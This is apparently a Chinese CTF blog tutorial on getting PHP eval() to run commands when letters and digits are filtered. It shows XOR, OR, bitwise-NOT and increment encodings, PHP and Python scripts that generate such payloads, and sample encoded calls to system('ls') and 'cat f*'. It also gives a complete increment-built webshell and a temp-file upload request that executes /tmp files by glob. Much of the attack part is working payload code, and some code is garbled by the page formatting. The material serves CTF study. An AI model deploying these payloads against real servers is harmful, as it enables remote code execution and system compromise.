本文最后更新于:2023年6月5日 下午
                  
                
              
            
            
              
                
                [TOC]
命令执行-无字母数字webshell 我们看如下代码:
1 2 3 4 <?php if (!preg_match ('/[a-z0-9]/is' ,$_GET ['shell' ])) {eval ($_GET ['shell' ]);
在命令执行中,我们经常会碰到过滤了字母和数字的情况,那如何才能绕过呢?
我的想法:通过非字母数字来进行一些相关的操作得到我们想要的代码,如:system('ls');
我们可以通过一些特殊的字符来得到:^(异或) ~(取反) +(自增)  |(或)
1、异或 我们先看如下代码:
输出: o
我们先来分析一下:字符 “5” 的ascii码是53,其二进制是110101,字母Z的ascii码是90,二进制是1011010
对照一下:
1 2 3 4 0110101 1011010 0 ,不同为1 1101111 
异或可得:1101111,转为10进制为 111 ,ascii码为:o
我们举个例子:
1 2 3 4 5 <?php $_ =('%01' ^'`' ).('%13' ^'`' ).('%13' ^'`' ).('%05' ^'`' ).('%12' ^'`' ).('%14' ^'`' ); $__ ='_' .('%0D' ^']' ).('%2F' ^'`' ).('%0E' ^']' ).('%09' ^']' ); $___ =$$__ ;$_ ($___ [_]); 
我们可以使用如下异或脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <?php $myfile  = fopen ("xor_rce.txt" , "w" );$contents ="" ;for  ($i =0 ; $i  < 256 ; $i ++) { for  ($j =0 ; $j  <256  ; $j ++) { if ($i <16 ){$hex_i ='0' .dechex ($i );else {$hex_i =dechex ($i );if ($j <16 ){$hex_j ='0' .dechex ($j );else {$hex_j =dechex ($j );$preg  = '/[a-z0-9]/i' ; if (preg_match ($preg  , hex2bin ($hex_i ))||preg_match ($preg  , hex2bin ($hex_j ))){echo  "" ;else {$a ='%' .$hex_i ;$b ='%' .$hex_j ;$c =(urldecode ($a )^urldecode ($b ));if  (ord ($c )>=32 &ord ($c )<=126 ) {$contents =$contents .$c ." " .$a ." " .$b ."\n" ;fwrite ($myfile ,$contents );fclose ($myfile );
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import  requestsimport  urllibfrom  sys import  *import  osdef  action (arg ):"" "" for  i in  arg:open ("xor_rce.txt" ,"r" )while  True :if  t=="" :break if  t[0 ]==i:2 :5 ]6 :9 ]break "(\"" +s1+"\"^\"" +s2+"\")" return (output)while  True :input ("\n[+] your function:" ) )+action(input ("[+] your command:" ))+";" print (param)
使用方法:
首先我们先在php脚本中修改正则过滤的表达式,$preg 运行一下php脚本,会生成一个txt文件
(其中包含了由哪些字符异或可以产生我们想要的结果)然后我们再运行python脚本,输入函数,以及命令即可。
例如:
1 2 3 4 5 D:\xxx \scripts >python  rce_xor.py  [+] your  function :system  [+] your  command :ls  ("%08%02%08%08%05%0d "^"%7b %7b %7b %7c %60%60")("%0c %08"^"%60%7b "); 
就生成了一个我们想要的字符串(因为存在一些不可打印字符,所以经过了url编码)
2、或 原理类似,脚本改动一下就行:
rec_or.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <?php $myfile  = fopen ("or_rce.txt" , "w" );$contents ="" ;for  ($i =0 ; $i  < 256 ; $i ++) { for  ($j =0 ; $j  <256  ; $j ++) { if ($i <16 ){$hex_i ='0' .dechex ($i );else {$hex_i =dechex ($i );if ($j <16 ){$hex_j ='0' .dechex ($j );else {$hex_j =dechex ($j );$preg  = '/[0-9a-z]/i' ;if (preg_match ($preg  , hex2bin ($hex_i ))||preg_match ($preg  , hex2bin ($hex_j ))){echo  "" ;else {$a ='%' .$hex_i ;$b ='%' .$hex_j ;$c =(urldecode ($a )|urldecode ($b ));if  (ord ($c )>=32 &ord ($c )<=126 ) {$contents =$contents .$c ." " .$a ." " .$b ."\n" ;fwrite ($myfile ,$contents );fclose ($myfile );
python:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import  requestsimport  urllibfrom  sys import  *import  osdef  action (arg ):"" "" for  i in  arg:open ("or_rce.txt" ,"r" )while  True :if  t=="" :break if  t[0 ]==i:2 :5 ]6 :9 ]break "(\"" +s1+"\"|\"" +s2+"\")" return (output)while  True :input ("\n[+] your function:" ) )+action(input ("[+] your command:" ))+";" print (param)
运行结果:
1 2 3 4 D:\xxx \scripts >python  rce_or.py  [+] your  function :system  [+] your  command :cat  f * ("%13%19%13%14%05%0d "|"%60%60%60%60%60%60")("%03%01%14%00%06%00"|"%60%60%60%20%60%2a "); 
3、取反 我们知道,对一个字符进行两次取反,会得到原来的值,我们可以利用这个特性进行突破
脚本:
1 2 3 4 5 6 7 8 9 10 11 12 <?php while (true ) {fwrite (STDOUT,PHP_EOL.'[+]your function: ' );$system =str_replace (array ("\r\n" , "\r" , "\n" ), "" , fgets (STDIN)); fwrite (STDOUT,PHP_EOL.'\n[+]your command: ' );$command =str_replace (array ("\r\n" , "\r" , "\n" ), "" , fgets (STDIN)); echo  '[*] (~' .urlencode (~$system ).')(~' .urlencode (~$command ).');' ;   
原理:我们通过将输入的字符进行取反,一般转化为不可见的字符,不会触发正则表达式,所以可以绕过,然后将其使用url编码后,再拼接上取反符号 ~ 这样执行,就相当于原来输入的shell了
例如:
1 2 3 4 5 6 7 8 <?php $s1  = "phpinfo" ;$s1  = urlencode (~$s1 );echo  $s1 .PHP_EOL;$s2  = ~urldecode ($s1 );echo  $s2 .PHP_EOL;$shell  = $s1 ;echo  "shell: " ."(~" .$shell .")();" ;
输出:
1 2 3 %8 F%97 %8 F%96 %91 %99 %90 8 F%97 %8 F%96 %91 %99 %90 )();
此处,phpinfo 经过两次取反后还是为 phpinfo
我们将 第一次取反后的编码与 (~   )(); 进行拼接
得到shell:
1 (~%8 F%97 %8 F%96 %91 %99 %90 )();  
4、自增 1 2 "A" ++ ==>  "B" "B" ++ ==>  "C" 
如上,我们如果拿到了 字母A,那我们就可以通过++ 自增,获取所有大写字母
那么问题就是,我们如何才能够获得大写字母A呢?
在php中,如果强制连接字符串和数组的话,数组将被转化为字符串,其值为 “Array”
 
1 2 3 <?php $a  = '' .[];var_dump ($a );    
根据以上知识点,我们只需取第一个字母,就可以获得大写字母 A 了 (也可以获得小写字母a)
1 2 3 4 5 <?php $s  = "Array" ;echo  $s [$_ ];  $_ ++;echo  $s [$_ ];  
 $++对变量进行了自增操作,由于我们没有定义的值,PHP会给赋一个默认值NULL==0,由此我们可以看出,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字  
 
故有payload:
php5
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php $_ =[].'' ;   $___  = $_ [$__ ];   $__  = $___ ;   $_  = $___ ;   $__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;   $___  .= $__ ;   $___  .= $__ ;   $__  = $_ ;   $__ ++;$__ ++;$__ ++;$__ ++;   $___  .= $__ ;   $__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ;$__ ++;   $___  .= $__ ;   $__ ++;$__ ++;   $___  .= $__ ;   $__  = $_ ;   $____  = "_" ;   $__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;   $____  .= $__ ;   $__  = $_ ;   $__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;   $____  .= $__ ;   $__ ++;$__ ++;$__ ++;$__ ++;   $____  .= $__ ;   $__ ++;   $____  .= $__ ;   $_  = $$____ ;   $___ ($_ [_]);   
5、上传临时文件 知识点: 
1、Linux下可用点 . 来执行shell脚本,等同于 source 
2、Linux文件名可以使用glob通配符匹配
*可以代替0个及以上任意字符?可以代表1个任意字符 
3、PHP中POST上传文件会把我们上传的文件暂时存在/tmp文件夹中,默认文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。
 
假如我们要执行上传的shell文件,尝试如下:
但是我们会发现这样(通常情况下)并不能争取的执行文件,而是会报错,原因就是这样匹配到的文件太多了,系统不知道要执行哪个文件。
但是我们可以使用如下payload:
最后的[@-[]表示ASCII在 @ 和 [ 之间的字符,也就是大写字母,所以最后会执行的文件是tmp文件夹下结尾是大写字母的文件。由于PHP生成的tmp文件最后一位是随机的大小写字母,所以我们可能需要多试几次才能正确的执行我们的代码。(50%的几率嘛)
因此,我们可以:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 POST /?cmd=.+/???/????????[@-[] HTTP/1.1 5.0  (Windows NT 10.0 ; Win64; x64; rv:83.0 ) Gecko/20100101  Firefox/83.0 0.9 ,image/webp,*
自己构造网页,上传带有shell命令的文件到服务器,并抓包,修改参数为 .%20/???/????????[@-]]
这样就可以执行了(注意是在同一个数据包,否则tmp临时文件被删除)
ctfshow-web55可用上述解法
参考文章 yu师傅-rce脚本 
无字母数字webshell总结-先知社区 
p神-一些不包含数字和字母的webshell 
p神-无字母数字webshell之提高篇